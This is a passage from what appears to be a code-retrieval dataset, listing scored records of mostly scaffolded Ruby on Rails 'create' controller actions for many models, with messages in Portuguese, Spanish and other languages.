"text": "def create\n @mokatba = Mokatba.new(mokatba_params)\n\n respond_to do |format|\n if @mokatba.save\n format.html { redirect_to @mokatba, notice: 'Mokatba was successfully created.' }\n format.json { render :show, status: :created, location: @mokatba }\n else\n format.html { render :new }\n format.json { render json: @mokatba.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "840420ae2c9c9dd2151a8eb5b0d1c3e0",
"score": "0.6051405",
"text": "def create\n @mente = Mente.new(mente_params)\n\n respond_to do |format|\n if @mente.save\n format.html { redirect_to @mente, notice: 'Mente was successfully created.' }\n format.json { render :show, status: :created, location: @mente }\n else\n format.html { render :new }\n format.json { render json: @mente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93489bbdfecf1ae94af610595885b64f",
"score": "0.6050374",
"text": "def create\n @multado = Multado.new(multado_params)\n\n respond_to do |format|\n if @multado.save\n format.html { redirect_to @multado, notice: 'Multado was successfully created.' }\n format.json { render :show, status: :created, location: @multado }\n else\n format.html { render :new }\n format.json { render json: @multado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0958525fb47ada3944af17f8e6153a47",
"score": "0.6046895",
"text": "def create\n\n\n\n @matricula_turma = MatriculaTurma.new(matricula_turma_params)\n\t\t@matriculas = MatriculaTurma.all\n\t\tif @matricula_turma.save\n \trespond_to do |f|\n\t\t\t\tf.html { redirect_to @matricula_turma, notice: 'Aluno Matriculado com sucesso.' }\n\t\t f.json { render :show, status: :ok, location:@matricula_turma }\n\t\t\tend\n\t\tend\n end",
"title": ""
},
{
"docid": "87ffcf72b79542019854e5ab7955cd99",
"score": "0.6022276",
"text": "def create\n @estudiante = Estudiante.new(params[:estudiante])\n\n if @estudiante.save\n render json: @estudiante, status: :created, location: @estudiante\n else\n render json: @estudiante.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7e69cb4db66c94abdaf77b311f4993d4",
"score": "0.6001186",
"text": "def create\n @man = Man.new(man_params)\n\n respond_to do |format|\n if @man.save\n format.html { redirect_to @man, notice: \"Man was successfully created.\" }\n format.json { render :show, status: :created, location: @man }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @man.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0711dbcd712092a39a31105736dc23b8",
"score": "0.5997671",
"text": "def create_allele(a)\n allele_data = request(\n :url => \"alleles.json\",\n :method => \"post\",\n :payload => { :allele => a }.to_json\n )\n allele = JSON.parse(allele_data)[\"allele\"]\n return allele\nend",
"title": ""
},
{
"docid": "e1cb7c84914cb28986d509d3ded88836",
"score": "0.59937733",
"text": "def create\n @mensagem = Mensagem.new(params[:mensagem])\n\n respond_to do |format|\n if @mensagem.save\n format.html { redirect_to @mensagem, :notice => 'Mensagem was successfully created.' }\n format.json { render :json => @mensagem, :status => :created, :location => @mensagem }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @mensagem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87288e39fe1efc8c52916dae4195193c",
"score": "0.5980868",
"text": "def create\n @man = Man.new(man_params)\n\n respond_to do |format|\n if @man.save\n format.html { redirect_to @man, notice: 'Man was successfully created.' }\n format.json { render :show, status: :created, location: @man }\n else\n format.html { render :new }\n format.json { render json: @man.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "169aafefa47b81a8ae49c42c9efab4a9",
"score": "0.59634477",
"text": "def create\n @miembro = Miembro.new(miembro_params)\n\n respond_to do |format|\n if @miembro.save\n format.html { redirect_to @miembro, notice: 'Miembro was successfully created.' }\n format.json { render :show, status: :created, location: @miembro }\n else\n format.html { render :new }\n format.json { render json: @miembro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2352ab253e0f2c15793b7b9be3202fab",
"score": "0.5959343",
"text": "def create\n @objeto = Mejora.new(mejora_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: 'Mejora was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1db9d7bfeb387cd94c1bfbda578eaa86",
"score": "0.5948618",
"text": "def manutencao_params\n params.require(:manutencao).permit(:data, :mecanico)\n end",
"title": ""
},
{
"docid": "cc4eb0c0d99868ea26274685e54e0693",
"score": "0.5924925",
"text": "def create\n @hemo_lunar = @pacient.hemo_lunars.create(params[:hemo_lunar])\n\n logger.debug \"Am facut un hemo nou cu parametrii #{params[:hemo_lunar]}\"\n puts \"iar analiza atipica e #{params[:analiza_atipica]}\"\n respond_to do |format|\n if @hemo_lunar.save\n format.html { redirect_to @pacient, notice: 'Hemo lunar was successfully created.' }\n format.json { render json: @hemo_lunar, status: :created, location: @hemo_lunar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hemo_lunar.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a854928d3204eac9b54aad640c24b55e",
"score": "0.59188306",
"text": "def create\n @termo_uso = TermoUso.new(params[:termo_uso])\n\n respond_to do |format|\n if @termo_uso.save\n format.html { redirect_to @termo_uso, notice: 'Termo uso was successfully created.' }\n format.json { render json: @termo_uso, status: :created, location: @termo_uso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @termo_uso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36c440fb45dcb76bb511af772df9d2d1",
"score": "0.59176594",
"text": "def create\n @pauta = @reuniao.pautas.create(pauta_params)\n\n respond_to do |format|\n if @pauta.save\n format.html { redirect_to @reuniao}\n format.json { render :show, status: :created, location: @pauta}\n else\n format.html { render :new }\n format.json { render json: @pauta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e409c45cc130a52908a622f322f73dde",
"score": "0.5901903",
"text": "def create\n @motocicleta = Motocicleta.new(motocicleta_params)\n\n respond_to do |format|\n if @motocicleta.save\n format.html { redirect_to @motocicleta, notice: 'Motocicleta was successfully created.' }\n format.json { render :show, status: :created, location: @motocicleta }\n else\n format.html { render :new }\n format.json { render json: @motocicleta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64206094534ec620c10b948d3eccf819",
"score": "0.58916986",
"text": "def create\n @agente = Agente.new(params[:agente])\n\n respond_to do |format|\n if @agente.save\n format.html { redirect_to @agente, notice: 'Agente creato con successo.' }\n format.json { render json: @agente, status: :created, location: @agente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ed9376d27d8f40e6241b122839f7751",
"score": "0.5867001",
"text": "def create\n @mural = Mural.new(mural_params)\n\n respond_to do |format|\n if @mural.save\n format.html { redirect_to @mural, notice: 'Documento cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @mural }\n else\n format.html { render :new }\n format.json { render json: @mural.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd6377f209a1b2f149ce81197aea2c63",
"score": "0.5864843",
"text": "def create\n @anunciante = Anunciante.new(params[:anunciante])\n @anunciante.usuario = current_usuario\n\n respond_to do |format|\n if @anunciante.save\n format.html { redirect_to @anunciante, notice: 'Jogo was successfully created.' }\n format.json { render json: @anunciante, status: :created, location: @anunciante }\n else\n format.html { render action: \"new\" }\n format.json { render json: @anunciante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0df0da126adb5363633b0c74d112039c",
"score": "0.5859731",
"text": "def create\n @mens = Mens.new(mens_params)\n\n respond_to do |format|\n if @mens.save\n format.html { redirect_to @mens, notice: 'Mens was successfully created.' }\n format.json { render :show, status: :created, location: @mens }\n else\n format.html { render :new }\n format.json { render json: @mens.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a1ce7bff2f7ee6f7d7347ce81bfd371e",
"score": "0.5858618",
"text": "def create\n @moneda = Moneda.new(params[:moneda])\n\n respond_to do |format|\n if @moneda.save\n format.html { redirect_to @moneda, :notice => 'Moneda was successfully created.' }\n format.json { render json: @moneda, status: :created, location: @moneda }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @moneda.errors}\n end\n end\n end",
"title": ""
},
{
"docid": "a4dc9e76c7b5cfea3b4ee40e0a6611e1",
"score": "0.5848426",
"text": "def create\n @miscellaneou = Miscellaneou.new(params[:miscellaneou])\n\n respond_to do |format|\n if @miscellaneou.save\n format.html { redirect_to @miscellaneou.personal_detail, notice: 'Miscellaneou was successfully created.' }\n format.json { render json: @miscellaneou, status: :created, location: @miscellaneou }\n else\n format.html { render action: \"new\" }\n format.json { render json: @miscellaneou.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be166cfdf8073e54fd8011603188bff0",
"score": "0.5846514",
"text": "def create\n @pessoa = Pessoa.new(pessoa_params)\n if @pessoa.save\n render json: @pessoa\n else\n render json: @pessoa.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9fd98d8eeb281a3257e391f86e3ac23c",
"score": "0.5843484",
"text": "def create\n @matiere = Matiere.new(matiere_params)\n\n respond_to do |format|\n if @matiere.save\n format.html { redirect_to @matiere, notice: 'Matiere was successfully created.' }\n format.json { render :show, status: :created, location: @matiere }\n else\n format.html { render :new }\n format.json { render json: @matiere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34079595b14a38c370f92cc17db3501d",
"score": "0.58393115",
"text": "def create\n \n\t@postularse = Postularse.new(postularse_params)\n\t@postularse.user_id= current_user.id\n @gauchada=Gauchada.find(@postularse.gauchada_id)\n @gauchada.cant_postulantes= @gauchada.cant_postulantes + 1\n @gauchada.save\n @postularse.save\n\trespond_to do |format|\n\t if @postularse.save\n\t format.html { redirect_to @gauchada, notice: 'Ud se ha postulado correctamente.' }\n\t else\n\t format.html { render :new }\n\t format.json { render json: @postularse.errors, status: :unprocessable_entity }\n\t end\n\tend \n end",
"title": ""
},
{
"docid": "5bd82b29ed22076718dedd04a1ee6449",
"score": "0.58389944",
"text": "def create\n @premio = Premio.new(premio_params)\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to zona_admin_index_path, notice: 'Premio was successfully created.' }\n format.json { render :show, status: :created, location: @premio }\n else\n format.html { render :new }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d961bd564614ed72b352946e3a7048c",
"score": "0.5832211",
"text": "def create\n @detalleapuestum = Detalleapuestum.new(params[:detalleapuestum])\n\n respond_to do |format|\n if @detalleapuestum.save\n format.html { redirect_to @detalleapuestum, notice: 'Detalleapuestum was successfully created.' }\n format.json { render json: @detalleapuestum, status: :created, location: @detalleapuestum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @detalleapuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f448b89a259cafe9df93a239d4d9adc8",
"score": "0.58074266",
"text": "def create\n @desenhozinho = Desenhozinho.new(params[:desenhozinho])\n\n respond_to do |format|\n if @desenhozinho.save\n format.html { redirect_to @desenhozinho, notice: 'Desenhozinho was successfully created.' }\n format.json { render json: @desenhozinho, status: :created, location: @desenhozinho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @desenhozinho.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7349e430438090c3b405a358efc9dbd0",
"score": "0.58069307",
"text": "def create\n @mensagem = Mensagem.new(mensagem_params)\n\n respond_to do |format|\n if @mensagem.save\n format.html { redirect_to @mensagem, notice: \"Mensagem cadastrada com sucesso!\" }\n format.json { render :show, status: :created, location: @mensagem }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85a1555b58743d47e5566c696f6959b5",
"score": "0.5801858",
"text": "def create\n @manga = Manga.new(params[:manga])\n\n respond_to do |format|\n if @manga.save\n format.html { redirect_to @manga, notice: 'Manga was successfully created.' }\n format.json { render json: @manga, status: :created, location: @manga }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manga.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bd5c0193bcc8697f4787b9faa957f6b",
"score": "0.5801816",
"text": "def create\n @mouvement = Mouvement.new(params[:mouvement])\n\n respond_to do |format|\n if @mouvement.save\n format.html { redirect_to @mouvement, notice: 'Mouvement was successfully created.' }\n format.json { render json: @mouvement, status: :created, location: @mouvement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mouvement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9657a670d78f6e7dc44e5e2d6838dbd1",
"score": "0.58013976",
"text": "def create\n @juntum = Juntum.new(juntum_params)\n\n respond_to do |format|\n if @juntum.save\n format.html { redirect_to action: \"index\", notice: 'Juntum was successfully created.' }\n format.json { render :show, status: :created, location: @juntum }\n flash[:success] = \"Junta creada\"\n else\n format.html { render :new }\n format.json { render json: @juntum.errors, status: :unprocessable_entity }\n flash[:danger] = \"Error al crear la junta\"\n end\n end\n end",
"title": ""
},
{
"docid": "d20162aa0634fbf4b68f579a76d244bc",
"score": "0.5792868",
"text": "def create\n @meteo = Meteo.new(meteo_params)\n respond_to do |format|\n if @meteo.save\n format.html { redirect_to @meteo, notice: 'Meteo was successfully created.' }\n format.json { render json: @meteo, status: :saved }\n else\n format.html { render :new }\n format.json { render json: @meteo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "604ca95728af642ae20e0db3cdfa2b52",
"score": "0.57911444",
"text": "def create\n params [:detalle_ordene].permit\n @detalle_ordene = DetalleOrden.new( params[:detalle_ordene])\n \n\n respond_to do |format|\n if @detalle_ordene.save\n format.html { redirect_to @detalle_ordene, notice: 'Detalle ordene was successfully created.' }\n format.json { render :show, status: :created, location: @detalle_ordene }\n else\n format.html { render :new }\n format.json { render json: @detalle_ordene.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6006cebd9d6b2cc68f33625b88adacd1",
"score": "0.57899225",
"text": "def create\n @destaque = Destaque.new\n @destaque.oferta = Oferta.find params[:id]\n @destaque.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n if @destaque.save\n format.html { redirect_to admin_destaques_path, :notice => 'Exemplo was successfully created.' }\n format.json { render :json => @destaque, :status => :created, :location => @destaque }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @destaque.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "106d981c05d10e1bc0eaeb5b8981772b",
"score": "0.5789664",
"text": "def create\n @momo = Momo.new(momo_params)\n\n respond_to do |format|\n if @momo.save\n format.html { redirect_to @momo, notice: 'Momo was successfully created.' }\n format.json { render :show, status: :created, location: @momo }\n else\n format.html { render :new }\n format.json { render json: @momo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ffdcae381767e206f8cd9d8cd92cc1f3",
"score": "0.5783958",
"text": "def manutencao_params\n params.require(:manutencao).permit(:data, :valor, :detalhes, :previsao, :veiculo_id)\n end",
"title": ""
},
{
"docid": "25f5274f138ea351a1b5a78e772d2b6a",
"score": "0.57826763",
"text": "def create\n @testudo = Testudo.new(params[:testudo])\n\n respond_to do |format|\n if @testudo.save\n format.html { redirect_to @testudo, notice: 'Testudo was successfully created.' }\n format.json { render json: @testudo, status: :created, location: @testudo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @testudo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79da8eee04c98bb13ded9d3b4504a2ef",
"score": "0.57782423",
"text": "def create\n @manuscript = Manuscript.new(params[:manuscript])\n\n respond_to do |format|\n if @manuscript.save\n format.html { redirect_to @manuscript, notice: 'Manuscript was successfully created.' }\n format.json { render json: @manuscript, status: :created, location: @manuscript }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manuscript.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fc2ab1c66da0bacedf0cb58e6c7a0a8",
"score": "0.5774398",
"text": "def create\n @postulacion = Postulacion.new(postulacion_params)\n @postulacion.usuario = current_usuario\n\n respond_to do |format|\n if @postulacion.save\n format.html { redirect_to @postulacion, notice: 'La postulación se creó con éxito.' }\n format.json { render :show, status: :created, location: @postulacion }\n else\n format.html { render :new }\n format.json { render json: @postulacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e200d64db2a641c2d02188b9e2167969",
"score": "0.5772591",
"text": "def create\n @cambio_moneda = CambioMoneda.new(cambio_moneda_params)\n\n respond_to do |format|\n if @cambio_moneda.save\n format.html { redirect_to cambio_monedas_path, notice: 'Cambio moneda fue creado satisfactoriamente.' }\n format.json { render :index, status: :created, location: @cambio_moneda }\n else\n format.html { render :new }\n format.json { render json: @cambio_moneda.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caf8fd5eff2767632ba93332ef43e5ab",
"score": "0.576774",
"text": "def create\n @maleza = Maleza.new(maleza_params)\n\n respond_to do |format|\n if @maleza.save\n format.html { redirect_to @maleza, notice: 'Maleza was successfully created.' }\n format.json { render :show, status: :created, location: @maleza }\n else\n format.html { render :new }\n format.json { render json: @maleza.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6cb45f711e1fe72d4354b7772aec210e",
"score": "0.57675636",
"text": "def create\n @tipoalmacen = Tipoalmacen.new(tipoalmacen_params)\n\n respond_to do |format|\n if @tipoalmacen.save\n format.html { redirect_to @tipoalmacen, notice: 'Tipoalmacen was successfully created.' }\n format.json { render :show, status: :created, location: @tipoalmacen }\n else\n format.html { render :new }\n format.json { render json: @tipoalmacen.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f966438e3cbce824eb91b5b1c1272d2",
"score": "0.5767422",
"text": "def create\n @materia_tipo_pensum = MateriaTipoPensum.new(params[:materia_tipo_pensum])\n\n respond_to do |format|\n if @materia_tipo_pensum.save\n format.html { redirect_to @materia_tipo_pensum, notice: 'Materia tipo pensum was successfully created.' }\n format.json { render json: @materia_tipo_pensum, status: :created, location: @materia_tipo_pensum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @materia_tipo_pensum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "673890b124af2ebb0f36b4119e723b9c",
"score": "0.57627773",
"text": "def create\n @manicure = Manicure.new(manicure_params)\n\n respond_to do |format|\n if @manicure.save\n format.html { redirect_to @manicure, notice: 'Manicure was successfully created.' }\n format.json { render :show, status: :created, location: @manicure }\n else\n format.html { render :new }\n format.json { render json: @manicure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c98762f9e31d447e852418d31bfcd768",
"score": "0.5759544",
"text": "def create\n @mua = Mua.new(mua_params)\n\n respond_to do |format|\n if @mua.save\n\n format.html { redirect_to @mua, notice: 'Mua was successfully created.' }\n format.json { render :show, status: :created, location: @mua }\n else\n format.html { render :new }\n format.json { render json: @mua.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1311b7632604fd7a2e2cd53f54a58bf5",
"score": "0.57538867",
"text": "def create\n @establecimiento = Establecimiento.new(establecimiento_params)\n\n if @establecimiento.save\n render json: @establecimiento, status: :created, location: @establecimiento\n else\n render json: @establecimiento.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2c5d92693ddbf7ec5e7418ee3a4b03a7",
"score": "0.57538515",
"text": "def create\n @maquina = Maquina.new(params[:maquina])\n\n respond_to do |format|\n if @maquina.save\n format.html { redirect_to @maquina, notice: 'Maquina was successfully created.' }\n format.json { render json: @maquina, status: :created, location: @maquina }\n else\n format.html { render action: \"new\" }\n format.json { render json: @maquina.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "810e82dcd195ff9ecc509d9050785b02",
"score": "0.5751194",
"text": "def create\n @mentor =Mentor.find(params[:mentor_id])\n @matiere = @mentor.matieres.new(matiere_params)\n @matiere.user = current_user\n\n respond_to do |format|\n if @matiere.save\n format.html { redirect_to @mentor, notice: 'Matiere was successfully created.' }\n format.json { render json: @matiere, status: :created, location: @matiere }\n else\n format.html { render :new }\n format.json { render json: @matiere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a15de68ad509a279cff62725f2724048",
"score": "0.5749887",
"text": "def create\n @mensagem = Mensagem.new(mensagem_params)\n\n respond_to do |format|\n if @mensagem.save\n format.html { redirect_to @mensagem, notice: 'Mensagem was successfully created.' }\n format.json { render :show, status: :created, location: @mensagem }\n else\n format.html { render :new }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a15de68ad509a279cff62725f2724048",
"score": "0.5749887",
"text": "def create\n @mensagem = Mensagem.new(mensagem_params)\n\n respond_to do |format|\n if @mensagem.save\n format.html { redirect_to @mensagem, notice: 'Mensagem was successfully created.' }\n format.json { render :show, status: :created, location: @mensagem }\n else\n format.html { render :new }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26abaa149b8eec4bf3fee6e5c0f33de1",
"score": "0.5747873",
"text": "def create\n @remuneracion = Remuneracion.new(remuneracion_params)\n\n respond_to do |format|\n if @remuneracion.save\n format.html { redirect_to @remuneracion, notice: 'Remuneracion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @remuneracion }\n else\n format.html { render action: 'new' }\n format.json { render json: @remuneracion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "98f041795dbc5114c04b39c142531e27",
"score": "0.57448405",
"text": "def create\n Rails.logger.info(\"*CAMISAS* CAMISAS***********************\")\n Rails.logger.info( params[:musculo][:atividade_ids].inspect)\n Rails.logger.info(\"***************************************\")\n\n @musculo = Musculo.new(musculo_params)\n\n respond_to do |format|\n if @musculo.save\n format.html { redirect_to @musculo, notice: 'Registro criado.' }\n format.json { render action: 'show', status: :created, location: @musculo }\n else\n format.html { render action: 'new' }\n format.json { render json: @musculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f9260e2dc23e18af1ad33c582901cb3",
"score": "0.57415134",
"text": "def create\n @nomina = Nomina.new(nomina_params)\n\n respond_to do |format|\n if @nomina.save\n format.html { redirect_to @nomina, notice: 'Nomina was successfully created.' }\n format.json { render :show, status: :created, location: @nomina }\n else\n format.html { render :new }\n format.json { render json: @nomina.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db9e6515c6c151acfdb845abedfad158",
"score": "0.5739242",
"text": "def create\n @mensa = Mensa.new(mensa_params)\n\n respond_to do |format|\n if @mensa.save\n format.html { redirect_to @mensa, notice: 'Mensa was successfully created.' }\n format.json { render :show, status: :created, location: @mensa }\n else\n format.html { render :new }\n format.json { render json: @mensa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a1635d6fcf8b3bccbb20beb09a7d3fad",
"score": "0.5738476",
"text": "def create\n @mensagem = Mensagem.new(mensagem_params)\n\n respond_to do |format|\n if @mensagem.save\n @contador = @mensagem.destinatario.mensagens_recebidas.nao_lidas.count\n @mensagens_recebidas = @mensagem.destinatario.mensagens_recebidas.limit(3).nao_lidas\n\n format.html { redirect_to mensagens_url, notice: 'Sua Mensagem foi enviada! ' }\n format.json { render :show, status: :created, location: @mensagem }\n format.js\n else\n format.html { render :new }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04f5f1bcd1249f155a1e9fdf2c75863e",
"score": "0.5736358",
"text": "def create\n @emitente = Emitente.new(params[:emitente])\n\n respond_to do |format|\n if @emitente.save\n format.html { redirect_to @emitente, :notice => 'Emitente cadastrado com sucesso.' }\n format.json { render :json => @emitente, :status => :created, :location => @emitente }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @emitente.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec8e22539f62d7afd37261f12b9d2432",
"score": "0.5730274",
"text": "def create\n @semana = Semana.new\n\n respond_to do |format|\n if @semana.save\n format.html { redirect_to @semana, notice: 'Semana was successfully created.' }\n format.json { render :show, status: :created, location: @semana }\n else\n format.html { render :new }\n format.json { render json: @semana.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f8fcfb0c75da4a5780521fe6c018ccd",
"score": "0.572964",
"text": "def create\n @temakeriacompraproduto = Temakeriacompraproduto.new(temakeriacompraproduto_params)\n\n respond_to do |format|\n if @temakeriacompraproduto.save\n format.html { redirect_to @temakeriacompraproduto, notice: 'Temakeriacompraproduto was successfully created.' }\n format.json { render :show, status: :created, location: @temakeriacompraproduto }\n else\n format.html { render :new }\n format.json { render json: @temakeriacompraproduto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe2772be1c747ae78fc0d17ca12c5a10",
"score": "0.5727831",
"text": "def create_mega_route(body)\n self.class.post(\"/aldebaran-carriers/carriers/#{@cnpj_id}/megaroutes\", :basic_auth => @auth, :body => body.to_json)\n end",
"title": ""
},
{
"docid": "b3015d27820ba08c35a3e4a0566f1518",
"score": "0.57211304",
"text": "def create\n @genere = Genere.new(params[:genere])\n\n respond_to do |format|\n if @genere.save\n format.html { redirect_to @genere, notice: 'Genere was successfully created.' }\n format.json { render json: @genere, status: :created, location: @genere }\n else\n format.html { render action: \"new\" }\n format.json { render json: @genere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1db0e7d563f4bea7c65f28683b209d93",
"score": "0.57176006",
"text": "def create\n @mascotum = Mascotum.new(mascotum_params)\n\n respond_to do |format|\n if @mascotum.save\n format.html { redirect_to @mascotum, notice: 'success&La mascota fue creada correctamente.' }\n format.json { render :show, status: :created, location: @mascotum }\n else\n format.html { render :new }\n format.json { render json: @mascotum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e954d6fa3149fded03a7a52438bc2c28",
"score": "0.57162935",
"text": "def create\n arisan = Arisan.new(nama: params[:nama],\n selesai: Date.parse(params['selesai']),\n iuran: params[:iuran],\n mulai: Date.today,\n jenis_kelamin_id: params['jenis_kelamin_id']\n )\n if arisan.save\n render json: arisan, methods: :peserta\n else\n render json: {}, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "34a7ade4026549cace23e42262567995",
"score": "0.57101005",
"text": "def create\n @marco = Marco.new(marco_params)\n\n respond_to do |format|\n if @marco.save\n format.html { redirect_to @marco, notice: 'Marco was successfully created.' }\n format.json { render :show, status: :created, location: @marco }\n else\n format.html { render :new }\n format.json { render json: @marco.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71be4095ab7dee62e1c8535943a6e390",
"score": "0.57071954",
"text": "def create\n @produto = Produto.new(produto_params)\n\n if @produto.save\n render json: @produto, status: :created, location: @produto\n else\n render json: @produto.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3ba8e15a0a60ad0953430e64851ccf94",
"score": "0.5706856",
"text": "def create\n @mural = Mural.new(params[:mural])\n @mural.usuario = current_usuario\n @mural.condominio = meu_condominio\n\n respond_to do |format|\n if @mural.save\n format.html { redirect_to @mural, notice: 'Mural criado com sucesso' }\n format.json { render json: @mural, status: :created, location: @mural }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mural.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff17ff422b8b771a78e898e6ac673e5b",
"score": "0.56977385",
"text": "def create\n @mensura = Mensura.new(mensura_params)\n \n respond_to do |format|\n if @mensura.save\n format.html { redirect_to edit_mensura_path @mensura, notice: 'El registro se almacenó correctamente' }\n format.json { render :show, status: :created, location: @mensura }\n format.js { render(template: 'asignar') }\n else\n format.html { render :new }\n format.json { render json: @mensura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa3ef9f4daa70cffc7c39d1acea05bd2",
"score": "0.56966543",
"text": "def create\n @agendamentomudanca = Agendamentomudanca.new(agendamentomudanca_params)\n\n respond_to do |format|\n if @agendamentomudanca.save\n format.html { redirect_to @agendamentomudanca, notice: 'Agendamento cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @agendamentomudanca }\n else\n format.html { render :new }\n format.json { render json: @agendamentomudanca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4796e0564b02e5f2c940e4262812077b",
"score": "0.569609",
"text": "def create\n @matiere = current_user.matieres.new(params[:matiere])\n\n respond_to do |format|\n if @matiere.save\n format.html { redirect_to @matiere, notice: 'Matiere was successfully created.' }\n format.json { render json: @matiere, status: :created, location: @matiere }\n else\n format.html { render action: \"new\" }\n format.json { render json: @matiere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c3a0aebaeb9eb18e919c50e8e422774",
"score": "0.56945264",
"text": "def create\n @pemantauan = Pemantauan.new(pemantauan_params)\n\n respond_to do |format|\n if @pemantauan.save\n format.html { redirect_to @pemantauan, notice: 'Pemantauan was successfully created.' }\n format.json { render :show, status: :created, location: @pemantauan }\n else\n format.html { render :new }\n format.json { render json: @pemantauan.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9dcb151a3f32dadb5e921de731eadc2b",
"score": "0.5693871",
